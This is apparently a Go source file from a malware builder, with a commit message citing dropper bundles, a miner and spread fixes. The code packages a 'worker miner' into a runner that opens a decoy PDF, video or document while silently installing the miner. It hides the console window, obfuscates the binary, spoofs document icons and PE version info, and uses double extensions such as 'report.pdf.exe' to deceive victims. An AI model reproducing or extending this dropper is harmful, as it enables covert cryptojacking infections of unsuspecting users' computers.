WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
341 lines
11 KiB
Go
341 lines
11 KiB
Go
package builder
|
|
|
|
import (
|
|
"context"
|
|
"encoding/json"
|
|
"fmt"
|
|
"log"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
)
|
|
|
|
type fusionBuildResult struct {
|
|
LauncherPath string
|
|
MediaName string
|
|
// Legacy fields kept for backward compat — unused in file-fusion mode
|
|
EncryptedPath string
|
|
ShortcutPath string
|
|
}
|
|
|
|
// detectFusionPayloadKind returns "exe" for Windows executables, "file" for everything else.
|
|
// Every non-exe file (PDF, video, DOC, image, etc.) is opened with the OS default app.
|
|
func detectFusionPayloadKind(path string) string {
|
|
if strings.EqualFold(filepath.Ext(path), ".exe") {
|
|
return "exe"
|
|
}
|
|
return "file"
|
|
}
|
|
|
|
// buildFusionFromRequest builds a fusion runner for the first platform in the request.
|
|
func (h *Handler) buildFusionFromRequest(ctx context.Context, buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
|
platforms := platformsForRequest(req)
|
|
return h.buildFusionForPlatform(ctx, buildDir, payloadPath, workerPath, req, platforms[0])
|
|
}
|
|
|
|
// buildFusionForPlatform compiles a fusion runner for a single platform.
|
|
// Accepts any payload: PDF, video, document, image, or executable.
|
|
func (h *Handler) buildFusionForPlatform(ctx context.Context, buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
|
|
kind := strings.TrimSpace(req.FusionPayloadKind)
|
|
if kind == "" {
|
|
kind = detectFusionPayloadKind(payloadPath)
|
|
}
|
|
req.FusionPayloadKind = kind
|
|
return h.buildFileFusion(ctx, buildDir, payloadPath, workerPath, req, platform)
|
|
}
|
|
|
|
// buildFileFusion builds a universal fusion runner for any file type.
|
|
//
|
|
// Delivery modes:
|
|
// - "embedded": the payload file is compiled directly into the runner binary (best for files < 100 MB)
|
|
// - "paired" (default): the payload file ships alongside the runner in the ZIP (works for any size)
|
|
//
|
|
// The runner, when executed, opens the original file with the OS default application
|
|
// while silently installing the worker miner in the background.
|
|
func (h *Handler) buildFileFusion(ctx context.Context, buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
|
|
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
|
|
|
// Resolve the display name for the payload file
|
|
mediaName := strings.TrimSpace(req.FusionMediaBaseName)
|
|
if mediaName == "" {
|
|
mediaName = filepath.Base(payloadPath)
|
|
}
|
|
mediaName = sanitizeFileName(mediaName)
|
|
|
|
// Resolve the runner output name
|
|
outputName := strings.TrimSpace(req.FusionOutputName)
|
|
if outputName == "" {
|
|
outputName = runnerNameForFile(mediaName, platform)
|
|
} else {
|
|
// Ensure correct extension for this platform
|
|
if platform.Ext != "" && !strings.HasSuffix(strings.ToLower(outputName), platform.Ext) {
|
|
outputName += platform.Ext
|
|
} else if platform.Ext == "" {
|
|
outputName = strings.TrimSuffix(outputName, ".exe")
|
|
}
|
|
}
|
|
outputName = sanitizeFileName(outputName)
|
|
|
|
kind := req.FusionPayloadKind
|
|
if kind == "" {
|
|
kind = detectFusionPayloadKind(payloadPath)
|
|
}
|
|
|
|
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, kind, mode, mediaName)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
assetsDir := filepath.Join(fusionDir, "assets")
|
|
|
|
// Write worker binary into assets
|
|
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker")); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
// Write payload according to delivery mode
|
|
switch mode {
|
|
case "embedded":
|
|
// Bake the payload into the runner binary as assets/payload.bin
|
|
if err := copyFile(payloadPath, filepath.Join(assetsDir, "payload.bin")); err != nil {
|
|
return nil, err
|
|
}
|
|
// Keep legacy placeholders so the embed directive compiles cleanly
|
|
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
|
return nil, err
|
|
}
|
|
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
|
|
return nil, err
|
|
}
|
|
default: // "paired"
|
|
// Empty placeholders — payload ships alongside the runner in the ZIP
|
|
if err := os.WriteFile(filepath.Join(assetsDir, "payload.bin"), []byte{}, 0644); err != nil {
|
|
return nil, err
|
|
}
|
|
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
|
return nil, err
|
|
}
|
|
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
|
|
return nil, err
|
|
}
|
|
}
|
|
|
|
// Write manifest for the runner to read at runtime
|
|
manifestFields := map[string]string{
|
|
"payload_kind": kind,
|
|
"media_mode": mode,
|
|
"media_file_name": mediaName,
|
|
}
|
|
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, platform.Label(), outputName))
|
|
ldflags := ldflagsFor(req, platform)
|
|
// Force GUI subsystem (no console window) for all fusion runners
|
|
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
|
|
ldflags += " -H windowsgui"
|
|
}
|
|
obfuscateLauncher := h.shouldObfuscate(req) && h.garblePath != ""
|
|
if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, obfuscateLauncher, platform); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
// Windows: inject the system icon + spoofed PE version info so the runner
|
|
// looks exactly like the real file type (PDF icon, Word icon, etc.)
|
|
if platform.GOOS == "windows" && kind != "exe" {
|
|
payloadExt := strings.ToLower(filepath.Ext(mediaName))
|
|
if err := h.applyDocumentDisguise(payloadExt, launcherPath); err != nil {
|
|
// Non-fatal — runner still works without the disguise
|
|
log.Printf("[Disguise] skipped for %s: %v", filepath.Base(launcherPath), err)
|
|
}
|
|
}
|
|
|
|
return &fusionBuildResult{
|
|
LauncherPath: launcherPath,
|
|
MediaName: mediaName,
|
|
}, nil
|
|
}
|
|
|
|
// prepareFusionProject copies the fusion source into a temp build dir with baked constants.
|
|
func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
|
|
fusionSrc := filepath.Join(h.projectRoot, "fusion")
|
|
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
|
|
return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
|
|
}
|
|
|
|
fusionDir := filepath.Join(buildDir, "fusion")
|
|
assetsDir := filepath.Join(fusionDir, "assets")
|
|
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
|
return "", err
|
|
}
|
|
|
|
mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
mainOut := patchFusionMain(mainSrc, runOrder, payloadKind, mediaMode, mediaFileName)
|
|
if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), mainOut, 0644); err != nil {
|
|
return "", err
|
|
}
|
|
|
|
for _, name := range []string{
|
|
"go.mod",
|
|
"shell_windows.go", "hidden_windows.go",
|
|
"media_windows.go", "media_linux.go", "media_darwin.go",
|
|
"media_crypto.go", "cache_windows.go", "cache_unix.go",
|
|
"lock_hint_windows.go", "lock_hint_stub.go",
|
|
} {
|
|
src := filepath.Join(fusionSrc, name)
|
|
if _, err := os.Stat(src); err != nil {
|
|
continue
|
|
}
|
|
if err := copyFile(src, filepath.Join(fusionDir, name)); err != nil {
|
|
return "", err
|
|
}
|
|
}
|
|
return fusionDir, nil
|
|
}
|
|
|
|
func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName string) []byte {
|
|
order := normalizeFusionOrder(runOrder)
|
|
out := string(src)
|
|
repl := map[string]string{
|
|
`"FUSION_RUN_ORDER"`: fmt.Sprintf("%q", order),
|
|
`"FUSION_PAYLOAD_KIND"`: fmt.Sprintf("%q", payloadKind),
|
|
`"FUSION_MEDIA_MODE"`: fmt.Sprintf("%q", mediaMode),
|
|
`"FUSION_MEDIA_FILE"`: fmt.Sprintf("%q", mediaFileName),
|
|
}
|
|
for old, newVal := range repl {
|
|
out = strings.Replace(out, old, newVal, 1)
|
|
}
|
|
return []byte(out)
|
|
}
|
|
|
|
func writeFusionManifest(assetsDir, payloadKind, mediaMode, mediaFileName string) error {
|
|
return writeFusionManifestEx(assetsDir, map[string]string{
|
|
"payload_kind": payloadKind,
|
|
"media_mode": mediaMode,
|
|
"media_file_name": mediaFileName,
|
|
})
|
|
}
|
|
|
|
func writeFusionManifestEx(assetsDir string, fields map[string]string) error {
|
|
raw, err := json.Marshal(fields)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return os.WriteFile(filepath.Join(assetsDir, "manifest.json"), raw, 0644)
|
|
}
|
|
|
|
func normalizeFusionMediaMode(mode string) string {
|
|
switch strings.ToLower(strings.TrimSpace(mode)) {
|
|
case "embedded":
|
|
return "embedded"
|
|
default:
|
|
return "paired"
|
|
}
|
|
}
|
|
|
|
// runnerNameForFile generates the output runner binary name for a given payload filename.
|
|
//
|
|
// On Windows, non-exe payloads use the double-extension trick:
|
|
//
|
|
// "quarterly-report.pdf" → "quarterly-report.pdf.exe"
|
|
//
|
|
// When Windows hides known file extensions (the OS default), the user sees
|
|
// "quarterly-report.pdf" with the injected PDF icon — visually identical to the
|
|
// real document. After applyDocumentDisguise runs, the PE metadata also matches.
|
|
//
|
|
// On Linux/macOS the runner uses a simple "-runner" suffix (these platforms
|
|
// wrap the binary in a .app bundle or the user is expected to chmod+x it).
|
|
func runnerNameForFile(mediaName string, platform BuildPlatform) string {
|
|
ext := strings.ToLower(filepath.Ext(mediaName))
|
|
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
|
|
if base == "" {
|
|
base = "runner"
|
|
}
|
|
if platform.GOOS == "windows" {
|
|
// Use disguisedRunnerName which handles double-extension and sanitisation
|
|
return disguisedRunnerName(mediaName)
|
|
}
|
|
// Linux / macOS: simple "-runner" name, no double extension
|
|
name := sanitizeFileName(base + "-runner")
|
|
_ = ext // extension not needed for Unix names
|
|
if platform.Ext != "" {
|
|
return name + platform.Ext
|
|
}
|
|
return name
|
|
}
|
|
|
|
// fusionExportSubdir returns the output subfolder name for the deliverable.
|
|
func fusionExportSubdir(req *BuildRequest, mediaName string) string {
|
|
if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
|
|
return sanitizeDirName(s)
|
|
}
|
|
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
|
|
if base == "" {
|
|
base = strings.TrimSuffix(filepath.Base(req.FusionOutputName), filepath.Ext(req.FusionOutputName))
|
|
}
|
|
if base == "" {
|
|
base = sanitizeFileName(req.WorkerName)
|
|
}
|
|
return sanitizeDirName(base)
|
|
}
|
|
|
|
func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) {
|
|
subdir = sanitizeDirName(subdir)
|
|
if subdir == "" {
|
|
return "", nil
|
|
}
|
|
root := h.projectRoot
|
|
if root == "" || root == "." {
|
|
root = h.dataDir
|
|
}
|
|
if root == "" {
|
|
return "", fmt.Errorf("no project root or data directory for fusion deliverables")
|
|
}
|
|
destDir := filepath.Join(root, FusionDeliverablesDir, subdir)
|
|
if err := os.MkdirAll(destDir, 0755); err != nil {
|
|
return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err)
|
|
}
|
|
for name, src := range artifacts {
|
|
if src == "" {
|
|
continue
|
|
}
|
|
dest := filepath.Join(destDir, sanitizeFileName(name))
|
|
if err := copyFile(src, dest); err != nil {
|
|
return "", fmt.Errorf("failed to export %s: %w", name, err)
|
|
}
|
|
}
|
|
readmePath := filepath.Join(destDir, "README.txt")
|
|
if err := os.WriteFile(readmePath, []byte(formatFusionReadme(readme)), 0644); err != nil {
|
|
return "", fmt.Errorf("failed to write README.txt: %w", err)
|
|
}
|
|
log.Printf("[Builder] Fusion deliverables -> %s", destDir)
|
|
return destDir, nil
|
|
}
|
|
|
|
func sanitizeDirName(name string) string {
|
|
name = strings.TrimSpace(name)
|
|
if name == "" {
|
|
return ""
|
|
}
|
|
name = filepath.Base(name)
|
|
var b strings.Builder
|
|
for _, r := range name {
|
|
switch {
|
|
case r >= 'a' && r <= 'z', r >= 'A' && r <= 'Z', r >= '0' && r <= '9', r == '-', r == '_', r == ' ', r == '.':
|
|
if r == ' ' {
|
|
b.WriteRune('_')
|
|
} else {
|
|
b.WriteRune(r)
|
|
}
|
|
}
|
|
}
|
|
out := strings.Trim(b.String(), "._")
|
|
if out == "" {
|
|
return "title"
|
|
}
|
|
return out
|
|
}
|